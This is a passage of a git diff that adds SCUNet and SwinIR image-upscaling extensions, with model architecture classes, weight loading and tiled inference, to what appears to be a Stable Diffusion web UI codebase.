'W' + + self.ln1 = nn.LayerNorm(input_dim) + self.msa = WMSA(input_dim, input_dim, head_dim, window_size, self.type) + self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity() + self.ln2 = nn.LayerNorm(input_dim) + self.mlp = nn.Sequential( + nn.Linear(input_dim, 4 * input_dim), + nn.GELU(), + nn.Linear(4 * input_dim, output_dim), + ) + + def forward(self, x): + x = x + self.drop_path(self.msa(self.ln1(x))) + x = x + self.drop_path(self.mlp(self.ln2(x))) + return x + + +class ConvTransBlock(nn.Module): + def __init__(self, conv_dim, trans_dim, head_dim, window_size, drop_path, type='W', input_resolution=None): + """ SwinTransformer and Conv Block + """ + super(ConvTransBlock, self).__init__() + self.conv_dim = conv_dim + self.trans_dim = trans_dim + self.head_dim = head_dim + self.window_size = window_size + self.drop_path = drop_path + self.type = type + self.input_resolution = input_resolution + + assert self.type in ['W', 'SW'] + if self.input_resolution <= self.window_size: + self.type = 'W' + + self.trans_block = Block(self.trans_dim, self.trans_dim, self.head_dim, self.window_size, self.drop_path, + self.type, self.input_resolution) + self.conv1_1 = nn.Conv2d(self.conv_dim + self.trans_dim, self.conv_dim + self.trans_dim, 1, 1, 0, bias=True) + self.conv1_2 = nn.Conv2d(self.conv_dim + self.trans_dim, self.conv_dim + self.trans_dim, 1, 1, 0, bias=True) + + self.conv_block = nn.Sequential( + nn.Conv2d(self.conv_dim, self.conv_dim, 3, 1, 1, bias=False), + nn.ReLU(True), + nn.Conv2d(self.conv_dim, self.conv_dim, 3, 1, 1, bias=False) + ) + + def forward(self, x): + conv_x, trans_x = torch.split(self.conv1_1(x), (self.conv_dim, self.trans_dim), dim=1) + conv_x = self.conv_block(conv_x) + conv_x + trans_x = Rearrange('b c h w -> b h w c')(trans_x) + trans_x = self.trans_block(trans_x) + trans_x = Rearrange('b h w c -> b c h w')(trans_x) + res = self.conv1_2(torch.cat((conv_x, trans_x), dim=1)) + x = x + res + + return x + + +class SCUNet(nn.Module): + # def __init__(self, in_nc=3, config=[2, 2, 2, 2, 2, 2, 2], dim=64, drop_path_rate=0.0, input_resolution=256): + def __init__(self, in_nc=3, config=None, dim=64, drop_path_rate=0.0, input_resolution=256): + super(SCUNet, self).__init__() + if config is None: + config = [2, 2, 2, 2, 2, 2, 2] + self.config = config + self.dim = dim + self.head_dim = 32 + self.window_size = 8 + + # drop path rate for each layer + dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(config))] + + self.m_head = [nn.Conv2d(in_nc, dim, 3, 1, 1, bias=False)] + + begin = 0 + self.m_down1 = [ConvTransBlock(dim // 2, dim // 2, self.head_dim, self.window_size, dpr[i + begin], + 'W' if not i % 2 else 'SW', input_resolution) + for i in range(config[0])] + \ + [nn.Conv2d(dim, 2 * dim, 2, 2, 0, bias=False)] + + begin += config[0] + self.m_down2 = [ConvTransBlock(dim, dim, self.head_dim, self.window_size, dpr[i + begin], + 'W' if not i % 2 else 'SW', input_resolution // 2) + for i in range(config[1])] + \ + [nn.Conv2d(2 * dim, 4 * dim, 2, 2, 0, bias=False)] + + begin += config[1] + self.m_down3 = [ConvTransBlock(2 * dim, 2 * dim, self.head_dim, self.window_size, dpr[i + begin], + 'W' if not i % 2 else 'SW', input_resolution // 4) + for i in range(config[2])] + \ + [nn.Conv2d(4 * dim, 8 * dim, 2, 2, 0, bias=False)] + + begin += config[2] + self.m_body = [ConvTransBlock(4 * dim, 4 * dim, self.head_dim, self.window_size, dpr[i + begin], + 'W' if not i % 2 else 'SW', input_resolution // 8) + for i in range(config[3])] + + begin += config[3] + self.m_up3 = [nn.ConvTranspose2d(8 * dim, 4 * dim, 2, 2, 0, bias=False), ] + \ + [ConvTransBlock(2 * dim, 2 * dim, self.head_dim, self.window_size, dpr[i + begin], + 'W' if not i % 2 else 'SW', input_resolution // 4) + for i in range(config[4])] + + begin += config[4] + self.m_up2 = [nn.ConvTranspose2d(4 * dim, 2 * dim, 2, 2, 0, bias=False), ] + \ + [ConvTransBlock(dim, dim, self.head_dim, self.window_size, dpr[i + begin], + 'W' if not i % 2 else 'SW', input_resolution // 2) + for i in range(config[5])] + + begin += config[5] + self.m_up1 = [nn.ConvTranspose2d(2 * dim, dim, 2, 2, 0, bias=False), ] + \ + [ConvTransBlock(dim // 2, dim // 2, self.head_dim, self.window_size, dpr[i + begin], + 'W' if not i % 2 else 'SW', input_resolution) + for i in range(config[6])] + + self.m_tail = [nn.Conv2d(dim, in_nc, 3, 1, 1, bias=False)] + + self.m_head = nn.Sequential(*self.m_head) + self.m_down1 = nn.Sequential(*self.m_down1) + self.m_down2 = nn.Sequential(*self.m_down2) + self.m_down3 = nn.Sequential(*self.m_down3) + self.m_body = nn.Sequential(*self.m_body) + self.m_up3 = nn.Sequential(*self.m_up3) + self.m_up2 = nn.Sequential(*self.m_up2) + self.m_up1 = nn.Sequential(*self.m_up1) + self.m_tail = nn.Sequential(*self.m_tail) + # self.apply(self._init_weights) + + def forward(self, x0): + + h, w = x0.size()[-2:] + paddingBottom = int(np.ceil(h / 64) * 64 - h) + paddingRight = int(np.ceil(w / 64) * 64 - w) + x0 = nn.ReplicationPad2d((0, paddingRight, 0, paddingBottom))(x0) + + x1 = self.m_head(x0) + x2 = self.m_down1(x1) + x3 = self.m_down2(x2) + x4 = self.m_down3(x3) + x = self.m_body(x4) + x = self.m_up3(x + x4) + x = self.m_up2(x + x3) + x = self.m_up1(x + x2) + x = self.m_tail(x + x1) + + x = x[..., :h, :w] + + return x + + def _init_weights(self, m): + if isinstance(m, nn.Linear): + trunc_normal_(m.weight, std=.02) + if m.bias is not None: + nn.init.constant_(m.bias, 0) + elif isinstance(m, nn.LayerNorm): + nn.init.constant_(m.bias, 0) + nn.init.constant_(m.weight, 1.0) diff --git a/extensions-builtin/SwinIR/__pycache__/preload.cpython-39.pyc b/extensions-builtin/SwinIR/__pycache__/preload.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..606e87faed59507f0c88bf8df39962e1d289c954 Binary files /dev/null and b/extensions-builtin/SwinIR/__pycache__/preload.cpython-39.pyc differ diff --git a/extensions-builtin/SwinIR/__pycache__/swinir_model_arch.cpython-39.pyc b/extensions-builtin/SwinIR/__pycache__/swinir_model_arch.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..a0a176cf06f4dd3690086df6e86a2e798176774f Binary files /dev/null and b/extensions-builtin/SwinIR/__pycache__/swinir_model_arch.cpython-39.pyc differ diff --git a/extensions-builtin/SwinIR/__pycache__/swinir_model_arch_v2.cpython-39.pyc b/extensions-builtin/SwinIR/__pycache__/swinir_model_arch_v2.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b39e75c258ae2510e0b830cb2f1b7c7839ab66f2 Binary files /dev/null and b/extensions-builtin/SwinIR/__pycache__/swinir_model_arch_v2.cpython-39.pyc differ diff --git a/extensions-builtin/SwinIR/preload.py b/extensions-builtin/SwinIR/preload.py new file mode 100644 index 0000000000000000000000000000000000000000..e912c6402bc80faa797cf2e95183101fb9a10286 --- /dev/null +++ b/extensions-builtin/SwinIR/preload.py @@ -0,0 +1,6 @@ +import os +from modules import paths + + +def preload(parser): + parser.add_argument("--swinir-models-path", type=str, help="Path to directory with SwinIR model file(s).", default=os.path.join(paths.models_path, 'SwinIR')) diff --git a/extensions-builtin/SwinIR/scripts/__pycache__/swinir_model.cpython-39.pyc b/extensions-builtin/SwinIR/scripts/__pycache__/swinir_model.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e441d903d87d59c9f68cc2476778215dd1d7b703 Binary files /dev/null and b/extensions-builtin/SwinIR/scripts/__pycache__/swinir_model.cpython-39.pyc differ diff --git a/extensions-builtin/SwinIR/scripts/swinir_model.py b/extensions-builtin/SwinIR/scripts/swinir_model.py new file mode 100644 index 0000000000000000000000000000000000000000..ae0d0e6a8ea04f3054c1e8e5baefd2f76b57f246 --- /dev/null +++ b/extensions-builtin/SwinIR/scripts/swinir_model.py @@ -0,0 +1,192 @@ +import sys +import platform + +import numpy as np +import torch +from PIL import Image +from tqdm import tqdm + +from modules import modelloader, devices, script_callbacks, shared +from modules.shared import opts, state +from swinir_model_arch import SwinIR +from swinir_model_arch_v2 import Swin2SR +from modules.upscaler import Upscaler, UpscalerData + +SWINIR_MODEL_URL = "https://github.com/JingyunLiang/SwinIR/releases/download/v0.0/003_realSR_BSRGAN_DFOWMFC_s64w8_SwinIR-L_x4_GAN.pth" + +device_swinir = devices.get_device_for('swinir') + + +class UpscalerSwinIR(Upscaler): + def __init__(self, dirname): + self._cached_model = None # keep the model when SWIN_torch_compile is on to prevent re-compile every runs + self._cached_model_config = None # to clear '_cached_model' when changing model (v1/v2) or settings + self.name = "SwinIR" + self.model_url = SWINIR_MODEL_URL + self.model_name = "SwinIR 4x" + self.user_path = dirname + super().__init__() + scalers = [] + model_files = self.find_models(ext_filter=[".pt", ".pth"]) + for model in model_files: + if model.startswith("http"): + name = self.model_name + else: + name = modelloader.friendly_name(model) + model_data = UpscalerData(name, model, self) + scalers.append(model_data) + self.scalers = scalers + + def do_upscale(self, img, model_file): + use_compile = hasattr(opts, 'SWIN_torch_compile') and opts.SWIN_torch_compile \ + and int(torch.__version__.split('.')[0]) >= 2 and platform.system() != "Windows" + current_config = (model_file, opts.SWIN_tile) + + if use_compile and self._cached_model_config == current_config: + model = self._cached_model + else: + self._cached_model = None + try: + model = self.load_model(model_file) + except Exception as e: + print(f"Failed loading SwinIR model {model_file}: {e}", file=sys.stderr) + return img + model = model.to(device_swinir, dtype=devices.dtype) + if use_compile: + model = torch.compile(model) + self._cached_model = model + self._cached_model_config = current_config + img = upscale(img, model) + devices.torch_gc() + return img + + def load_model(self, path, scale=4): + if path.startswith("http"): + filename = modelloader.load_file_from_url( + url=path, + model_dir=self.model_download_path, + file_name=f"{self.model_name.replace(' ', '_')}.pth", + ) + else: + filename = path + if filename.endswith(".v2.pth"): + model = Swin2SR( + upscale=scale, + in_chans=3, + img_size=64, + window_size=8, + img_range=1.0, + depths=[6, 6, 6, 6, 6, 6], + embed_dim=180, + num_heads=[6, 6, 6, 6, 6, 6], + mlp_ratio=2, + upsampler="nearest+conv", + resi_connection="1conv", + ) + params = None + else: + model = SwinIR( + upscale=scale, + in_chans=3, + img_size=64, + window_size=8, + img_range=1.0, + depths=[6, 6, 6, 6, 6, 6, 6, 6, 6], + embed_dim=240, + num_heads=[8, 8, 8, 8, 8, 8, 8, 8, 8], + mlp_ratio=2, + upsampler="nearest+conv", + resi_connection="3conv", + ) + params = "params_ema" + + pretrained_model = torch.load(filename) + if params is not None: + model.load_state_dict(pretrained_model[params], strict=True) + else: + model.load_state_dict(pretrained_model, strict=True) + return model + + +def upscale( + img, + model, + tile=None, + tile_overlap=None, + window_size=8, + scale=4, +): + tile = tile or opts.SWIN_tile + tile_overlap = tile_overlap or opts.SWIN_tile_overlap + + + img = np.array(img) + img = img[:, :, ::-1] + img = np.moveaxis(img, 2, 0) / 255 + img = torch.from_numpy(img).float() + img = img.unsqueeze(0).to(device_swinir, dtype=devices.dtype) + with torch.no_grad(), devices.autocast(): + _, _, h_old, w_old = img.size() + h_pad = (h_old // window_size + 1) * window_size - h_old + w_pad = (w_old // window_size + 1) * window_size - w_old + img = torch.cat([img, torch.flip(img, [2])], 2)[:, :, : h_old + h_pad, :] + img = torch.cat([img, torch.flip(img, [3])], 3)[:, :, :, : w_old + w_pad] + output = inference(img, model, tile, tile_overlap, window_size, scale) + output = output[..., : h_old * scale, : w_old * scale] + output = output.data.squeeze().float().cpu().clamp_(0, 1).numpy() + if output.ndim == 3: + output = np.transpose( + output[[2, 1, 0], :, :], (1, 2, 0) + ) # CHW-RGB to HCW-BGR + output = (output * 255.0).round().astype(np.uint8) # float32 to uint8 + return Image.fromarray(output, "RGB") + + +def inference(img, model, tile, tile_overlap, window_size, scale): + # test the image tile by tile + b, c, h, w = img.size() + tile = min(tile, h, w) + assert tile % window_size == 0, "tile size should be a multiple of window_size" + sf = scale + + stride = tile - tile_overlap + h_idx_list = list(range(0, h - tile, stride)) + [h - tile] + w_idx_list = list(range(0, w - tile, stride)) + [w - tile] + E = torch.zeros(b, c, h * sf, w * sf, dtype=devices.dtype, device=device_swinir).type_as(img) + W = torch.zeros_like(E, dtype=devices.dtype, device=device_swinir) + + with tqdm(total=len(h_idx_list) * len(w_idx_list), desc="SwinIR tiles") as pbar: + for h_idx in h_idx_list: + if state.interrupted or state.skipped: + break + + for w_idx in w_idx_list: + if state.interrupted or state.skipped: + break + + in_patch = img[..., h_idx: h_idx + tile, w_idx: w_idx + tile] + out_patch = model(in_patch) + out_patch_mask = torch.ones_like(out_patch) + + E[ + ..., h_idx * sf: (h_idx + tile) * sf, w_idx * sf: (w_idx + tile) * sf + ].add_(out_patch) + W[ + ..., h_idx * sf: (h_idx + tile) * sf, w_idx * sf: (w_idx + tile) * sf + ].add_(out_patch_mask) + pbar.update(1) + output = E.div_(W) + + return output + + +def on_ui_settings(): + import gradio as gr + + shared.opts.add_option("SWIN_tile", shared.OptionInfo(192, "Tile size for all SwinIR.", gr.Slider, {"minimum": 16, "maximum": 512, "step": 16}, section=('upscaling', "Upscaling"))) + shared.opts.add_option("SWIN_tile_overlap", shared.OptionInfo(8, "Tile overlap, in pixels for SwinIR. Low values = visible seam.", gr.Slider, {"minimum": 0, "maximum": 48, "step": 1}, section=('upscaling', "Upscaling"))) + if int(torch.__version__.split('.')[0]) >= 2 and platform.system() != "Windows": # torch.compile() require pytorch 2.0 or above, and not on Windows + shared.opts.add_option("SWIN_torch_compile", shared.OptionInfo(False, "Use torch.compile to accelerate SwinIR.", gr.Checkbox, {"interactive": True}, section=('upscaling', "Upscaling")).info("Takes longer on first run")) + + +script_callbacks.on_ui_settings(on_ui_settings) diff --git a/extensions-builtin/SwinIR/swinir_model_arch.py b/extensions-builtin/SwinIR/swinir_model_arch.py new file mode 100644 index 0000000000000000000000000000000000000000..93b9327473a6e77c3a3dc6a7743e932c9083a996 --- /dev/null +++ b/extensions-builtin/SwinIR/swinir_model_arch.py @@ -0,0 +1,867 @@ +# ----------------------------------------------------------------------------------- +# SwinIR: Image Restoration Using Swin Transformer, https://arxiv.org/abs/2108.10257 +# Originally Written by Ze Liu, Modified by Jingyun Liang. +# ----------------------------------------------------------------------------------- + +import math +import torch +import torch.nn as nn +import torch.nn.functional as F +import torch.utils.checkpoint as checkpoint +from timm.models.layers import DropPath, to_2tuple, trunc_normal_ + + +class Mlp(nn.Module): + def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.): + super().__init__() + out_features = out_features or in_features + hidden_features = hidden_features or in_features + self.fc1 = nn.Linear(in_features, hidden_features) + self.act = act_layer() + self.fc2 = nn.Linear(hidden_features, out_features) + self.drop = nn.Dropout(drop) + + def forward(self, x): + x = self.fc1(x) + x = self.act(x) + x = self.drop(x) + x = self.fc2(x) + x = self.drop(x) + return x + + +def window_partition(x, window_size): + """ + Args: + x: (B, H, W, C) + window_size (int): window size + + Returns: + windows: (num_windows*B, window_size, window_size, C) + """ + B, H, W, C = x.shape + x = x.view(B, H // window_size, window_size, W // window_size, window_size, C) + windows = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(-1, window_size, window_size, C) + return windows + + +def window_reverse(windows, window_size, H, W): + """ + Args: + windows: (num_windows*B, window_size, window_size, C) + window_size (int): Window size + H (int): Height of image + W (int): Width of image + + Returns: + x: (B, H, W, C) + """ + B = int(windows.shape[0] / (H * W / window_size / window_size)) + x = windows.view(B, H // window_size, W // window_size, window_size, window_size, -1) + x = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(B, H, W, -1) + return x + + +class WindowAttention(nn.Module): + r""" Window based multi-head self attention (W-MSA) module with relative position bias. + It supports both of shifted and non-shifted window. + + Args: + dim (int): Number of input channels. + window_size (tuple[int]): The height and width of the window. + num_heads (int): Number of attention heads. + qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True + qk_scale (float | None, optional): Override default qk scale of head_dim ** -0.5 if set + attn_drop (float, optional): Dropout ratio of attention weight. Default: 0.0 + proj_drop (float, optional): Dropout ratio of output. Default: 0.0 + """ + + def __init__(self, dim, window_size, num_heads, qkv_bias=True, qk_scale=None, attn_drop=0., proj_drop=0.): + + super().__init__() + self.dim = dim + self.window_size = window_size # Wh, Ww + self.num_heads = num_heads + head_dim = dim // num_heads + self.scale = qk_scale or head_dim ** -0.5 + + # define a parameter table of relative position bias + self.relative_position_bias_table = nn.Parameter( + torch.zeros((2 * window_size[0] - 1) * (2 * window_size[1] - 1), num_heads)) # 2*Wh-1 * 2*Ww-1, nH + + # get pair-wise relative position index for each token inside the window + coords_h = torch.arange(self.window_size[0]) + coords_w = torch.arange(self.window_size[1]) + coords = torch.stack(torch.meshgrid([coords_h, coords_w])) # 2, Wh, Ww + coords_flatten = torch.flatten(coords, 1) # 2, Wh*Ww + relative_coords = coords_flatten[:, :, None] - coords_flatten[:, None, :] # 2, Wh*Ww, Wh*Ww + relative_coords = relative_coords.permute(1, 2, 0).contiguous() # Wh*Ww, Wh*Ww, 2 + relative_coords[:, :, 0] += self.window_size[0] - 1 # shift to start from 0 + relative_coords[:, :, 1] += self.window_size[1] - 1 + relative_coords[:, :, 0] *= 2 * self.window_size[1] - 1 + relative_position_index = relative_coords.sum(-1) # Wh*Ww, Wh*Ww + self.register_buffer("relative_position_index", relative_position_index) + + self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias) + self.attn_drop = nn.Dropout(attn_drop) + self.proj = nn.Linear(dim, dim) + + self.proj_drop = nn.Dropout(proj_drop) + + trunc_normal_(self.relative_position_bias_table, std=.02) + self.softmax = nn.Softmax(dim=-1) + + def forward(self, x, mask=None): + """ + Args: + x: input features with shape of (num_windows*B, N, C) + mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None + """ + B_, N, C = x.shape + qkv = self.qkv(x).reshape(B_, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4) + q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple) + + q = q * self.scale + attn = (q @ k.transpose(-2, -1)) + + relative_position_bias = self.relative_position_bias_table[self.relative_position_index.view(-1)].view( + self.window_size[0] * self.window_size[1], self.window_size[0] * self.window_size[1], -1) # Wh*Ww,Wh*Ww,nH + relative_position_bias = relative_position_bias.permute(2, 0, 1).contiguous() # nH, Wh*Ww, Wh*Ww + attn = attn + relative_position_bias.unsqueeze(0) + + if mask is not None: + nW = mask.shape[0] + attn = attn.view(B_ // nW, nW, self.num_heads, N, N) + mask.unsqueeze(1).unsqueeze(0) + attn = attn.view(-1, self.num_heads, N, N) + attn = self.softmax(attn) + else: + attn = self.softmax(attn) + + attn = self.attn_drop(attn) + + x = (attn @ v).transpose(1, 2).reshape(B_, N, C) + x = self.proj(x) + x = self.proj_drop(x) + return x + + def extra_repr(self) -> str: + return f'dim={self.dim}, window_size={self.window_size}, num_heads={self.num_heads}' + + def flops(self, N): + # calculate flops for 1 window with token length of N + flops = 0 + # qkv = self.qkv(x) + flops += N * self.dim * 3 * self.dim + # attn = (q @ k.transpose(-2, -1)) + flops += self.num_heads * N * (self.dim // self.num_heads) * N + # x = (attn @ v) + flops += self.num_heads * N * N * (self.dim // self.num_heads) + # x = self.proj(x) + flops += N * self.dim * self.dim + return flops + + +class SwinTransformerBlock(nn.Module): + r""" Swin Transformer Block. + + Args: + dim (int): Number of input channels. + input_resolution (tuple[int]): Input resolution. + num_heads (int): Number of attention heads. + window_size (int): Window size. + shift_size (int): Shift size for SW-MSA. + mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. + qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True + qk_scale (float | None, optional): Override default qk scale of head_dim ** -0.5 if set. + drop (float, optional): Dropout rate. Default: 0.0 + attn_drop (float, optional): Attention dropout rate. Default: 0.0 + drop_path (float, optional): Stochastic depth rate. Default: 0.0 + act_layer (nn.Module, optional): Activation layer. Default: nn.GELU + norm_layer (nn.Module, optional): Normalization layer. Default: nn.LayerNorm + """ + + def __init__(self, dim, input_resolution, num_heads, window_size=7, shift_size=0, + mlp_ratio=4., qkv_bias=True, qk_scale=None, drop=0., attn_drop=0., drop_path=0., + act_layer=nn.GELU, norm_layer=nn.LayerNorm): + super().__init__() + self.dim = dim + self.input_resolution = input_resolution + self.num_heads = num_heads + self.window_size = window_size + self.shift_size = shift_size + self.mlp_ratio = mlp_ratio + if min(self.input_resolution) <= self.window_size: + # if window size is larger than input resolution, we don't partition windows + self.shift_size = 0 + self.window_size = min(self.input_resolution) + assert 0 <= self.shift_size < self.window_size, "shift_size must in 0-window_size" + + self.norm1 = norm_layer(dim) + self.attn = WindowAttention( + dim, window_size=to_2tuple(self.window_size), num_heads=num_heads, + qkv_bias=qkv_bias, qk_scale=qk_scale, attn_drop=attn_drop, proj_drop=drop) + + self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity() + self.norm2 = norm_layer(dim) + mlp_hidden_dim = int(dim * mlp_ratio) + self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop) + + if self.shift_size > 0: + attn_mask = self.calculate_mask(self.input_resolution) + else: + attn_mask = None + + self.register_buffer("attn_mask", attn_mask) + + def calculate_mask(self, x_size): + # calculate attention mask for SW-MSA + H, W = x_size + img_mask = torch.zeros((1, H, W, 1)) # 1 H W 1 + h_slices = (slice(0, -self.window_size), + slice(-self.window_size, -self.shift_size), + slice(-self.shift_size, None)) + w_slices = (slice(0, -self.window_size), + slice(-self.window_size, -self.shift_size), + slice(-self.shift_size, None)) + cnt = 0 + for h in h_slices: + for w in w_slices: + img_mask[:, h, w, :] = cnt + cnt += 1 + + mask_windows = window_partition(img_mask, self.window_size) # nW, window_size, window_size, 1 + mask_windows = mask_windows.view(-1, self.window_size * self.window_size) + attn_mask = mask_windows.unsqueeze(1) - mask_windows.unsqueeze(2) + attn_mask = attn_mask.masked_fill(attn_mask != 0, float(-100.0)).masked_fill(attn_mask == 0, float(0.0)) + + return attn_mask + + def forward(self, x, x_size): + H, W = x_size + B, L, C = x.shape + # assert L == H * W, "input feature has wrong size" + + shortcut = x + x = self.norm1(x) + x = x.view(B, H, W, C) + + # cyclic shift + if self.shift_size > 0: + shifted_x = torch.roll(x, shifts=(-self.shift_size, -self.shift_size), dims=(1, 2)) + else: + shifted_x = x + + # partition windows + x_windows = window_partition(shifted_x, self.window_size) # nW*B, window_size, window_size, C + x_windows = x_windows.view(-1, self.window_size * self.window_size, C) # nW*B, window_size*window_size, C + + # W-MSA/SW-MSA (to be compatible for testing on images whose shapes are the multiple of window size + if self.input_resolution == x_size: + attn_windows = self.attn(x_windows, mask=self.attn_mask) # nW*B, window_size*window_size, C + else: + attn_windows = self.attn(x_windows, mask=self.calculate_mask(x_size).to(x.device)) + + # merge windows + attn_windows = attn_windows.view(-1, self.window_size, self.window_size, C) + shifted_x = window_reverse(attn_windows, self.window_size, H, W) # B H' W' C + + # reverse cyclic shift + if self.shift_size > 0: + x = torch.roll(shifted_x, shifts=(self.shift_size, self.shift_size), dims=(1, 2)) + else: + x = shifted_x + x = x.view(B, H * W, C) + + # FFN + x = shortcut + self.drop_path(x) + x = x + self.drop_path(self.mlp(self.norm2(x))) + + return x + + def extra_repr(self) -> str: + return f"dim={self.dim}, input_resolution={self.input_resolution}, num_heads={self.num_heads}, " \ + f"window_size={self.window_size}, shift_size={self.shift_size}, mlp_ratio={self.mlp_ratio}" + + def flops(self): + flops = 0 + H, W = self.input_resolution + # norm1 + flops += self.dim * H * W + # W-MSA/SW-MSA + nW = H * W / self.window_size / self.window_size + flops += nW * self.attn.flops(self.window_size * self.window_size) + # mlp + flops += 2 * H * W * self.dim * self.dim * self.mlp_ratio + # norm2 + flops += self.dim * H * W + return flops + + +class PatchMerging(nn.Module): + r""" Patch Merging Layer. + + Args: + input_resolution (tuple[int]): Resolution of input feature. + dim (int): Number of input channels. + norm_layer (nn.Module, optional): Normalization layer. Default: nn.LayerNorm + """ + + def __init__(self, input_resolution, dim, norm_layer=nn.LayerNorm): + super().__init__() + self.input_resolution = input_resolution + self.dim = dim + self.reduction = nn.Linear(4 * dim, 2 * dim, bias=False) + self.norm = norm_layer(4 * dim) + + def forward(self, x): + """ + x: B, H*W, C + """ + H, W = self.input_resolution + B, L, C = x.shape + assert L == H * W, "input feature has wrong size" + assert H % 2 == 0 and W % 2 == 0, f"x size ({H}*{W}) are not even." + + x = x.view(B, H, W, C) + + x0 = x[:, 0::2, 0::2, :] # B H/2 W/2 C + x1 = x[:, 1::2, 0::2, :] # B H/2 W/2 C + x2 = x[:, 0::2, 1::2, :] # B H/2 W/2 C + x3 = x[:, 1::2, 1::2, :] # B H/2 W/2 C + x = torch.cat([x0, x1, x2, x3], -1) # B H/2 W/2 4*C + x = x.view(B, -1, 4 * C) # B H/2*W/2 4*C + + x = self.norm(x) + x = self.reduction(x) + + return x + + def extra_repr(self) -> str: + return f"input_resolution={self.input_resolution}, dim={self.dim}" + + def flops(self): + H, W = self.input_resolution + flops = H * W * self.dim + flops += (H // 2) * (W // 2) * 4 * self.dim * 2 * self.dim + return flops + + +class BasicLayer(nn.Module): + """ A basic Swin Transformer layer for one stage. + + Args: + dim (int): Number of input channels. + input_resolution (tuple[int]): Input resolution. + depth (int): Number of blocks. + num_heads (int): Number of attention heads. + window_size (int): Local window size. + mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. + qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True + qk_scale (float | None, optional): Override default qk scale of head_dim ** -0.5 if set. + drop (float, optional): Dropout rate. Default: 0.0 + attn_drop (float, optional): Attention dropout rate. Default: 0.0 + drop_path (float | tuple[float], optional): Stochastic depth rate. Default: 0.0 + norm_layer (nn.Module, optional): Normalization layer. Default: nn.LayerNorm + downsample (nn.Module | None, optional): Downsample layer at the end of the layer. Default: None + use_checkpoint (bool): Whether to use checkpointing to save memory. Default: False. + """ + + def __init__(self, dim, input_resolution, depth, num_heads, window_size, + mlp_ratio=4., qkv_bias=True, qk_scale=None, drop=0., attn_drop=0., + drop_path=0., norm_layer=nn.LayerNorm, downsample=None, use_checkpoint=False): + + super().__init__() + self.dim = dim + self.input_resolution = input_resolution + self.depth = depth + self.use_checkpoint = use_checkpoint + + # build blocks + self.blocks = nn.ModuleList([ + SwinTransformerBlock(dim=dim, input_resolution=input_resolution, + num_heads=num_heads, window_size=window_size, + shift_size=0 if (i % 2 == 0) else window_size // 2, + mlp_ratio=mlp_ratio, + qkv_bias=qkv_bias, qk_scale=qk_scale, + drop=drop, attn_drop=attn_drop, + drop_path=drop_path[i] if isinstance(drop_path, list) else drop_path, + norm_layer=norm_layer) + for i in range(depth)]) + + # patch merging layer + if downsample is not None: + self.downsample = downsample(input_resolution, dim=dim, norm_layer=norm_layer) + else: + self.downsample = None + + def forward(self, x, x_size): + for blk in self.blocks: + if self.use_checkpoint: + x = checkpoint.checkpoint(blk, x, x_size) + else: + x = blk(x, x_size) + if self.downsample is not None: + x = self.downsample(x) + return x + + def extra_repr(self) -> str: + return f"dim={self.dim}, input_resolution={self.input_resolution}, depth={self.depth}" + + def flops(self): + flops = 0 + for blk in self.blocks: + flops += blk.flops() + if self.downsample is not None: + flops += self.downsample.flops() + return flops + + +class RSTB(nn.Module): + """Residual Swin Transformer Block (RSTB). + + Args: + dim (int): Number of input channels. + input_resolution (tuple[int]): Input resolution. + depth (int): Number of blocks. + num_heads (int): Number of attention heads. + window_size (int): Local window size. + mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. + qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True + qk_scale (float | None, optional): Override default qk scale of head_dim ** -0.5 if set. + drop (float, optional): Dropout rate. Default: 0.0 + attn_drop (float, optional): Attention dropout rate. Default: 0.0 + drop_path (float | tuple[float], optional): Stochastic depth rate. Default: 0.0 + norm_layer (nn.Module, optional): Normalization layer. Default: nn.LayerNorm + downsample (nn.Module | None, optional): Downsample layer at the end of the layer. Default: None + use_checkpoint (bool): Whether to use checkpointing to save memory. Default: False. + img_size: Input image size. + patch_size: Patch size. + resi_connection: The convolutional block before residual connection. + """ + + def __init__(self, dim, input_resolution, depth, num_heads, window_size, + mlp_ratio=4., qkv_bias=True, qk_scale=None, drop=0., attn_drop=0., + drop_path=0., norm_layer=nn.LayerNorm, downsample=None, use_checkpoint=False, + img_size=224, patch_size=4, resi_connection='1conv'): + super(RSTB, self).__init__() + + self.dim = dim + self.input_resolution = input_resolution + + self.residual_group = BasicLayer(dim=dim, + input_resolution=input_resolution, + depth=depth, + num_heads=num_heads, + window_size=window_size, + mlp_ratio=mlp_ratio, + qkv_bias=qkv_bias, qk_scale=qk_scale, + drop=drop, attn_drop=attn_drop, + drop_path=drop_path, + norm_layer=norm_layer, + downsample=downsample, + use_checkpoint=use_checkpoint) + + if resi_connection == '1conv': + self.conv = nn.Conv2d(dim, dim, 3, 1, 1) + elif resi_connection == '3conv': + # to save parameters and memory + self.conv = nn.Sequential(nn.Conv2d(dim, dim // 4, 3, 1, 1), nn.LeakyReLU(negative_slope=0.2, inplace=True), + nn.Conv2d(dim // 4, dim // 4, 1, 1, 0), + nn.LeakyReLU(negative_slope=0.2, inplace=True), + nn.Conv2d(dim // 4, dim, 3, 1, 1)) + + self.patch_embed = PatchEmbed( + img_size=img_size, patch_size=patch_size, in_chans=0, embed_dim=dim, + norm_layer=None) + + self.patch_unembed = PatchUnEmbed( + img_size=img_size, patch_size=patch_size, in_chans=0, embed_dim=dim, + norm_layer=None) + + def forward(self, x, x_size): + return self.patch_embed(self.conv(self.patch_unembed(self.residual_group(x, x_size), 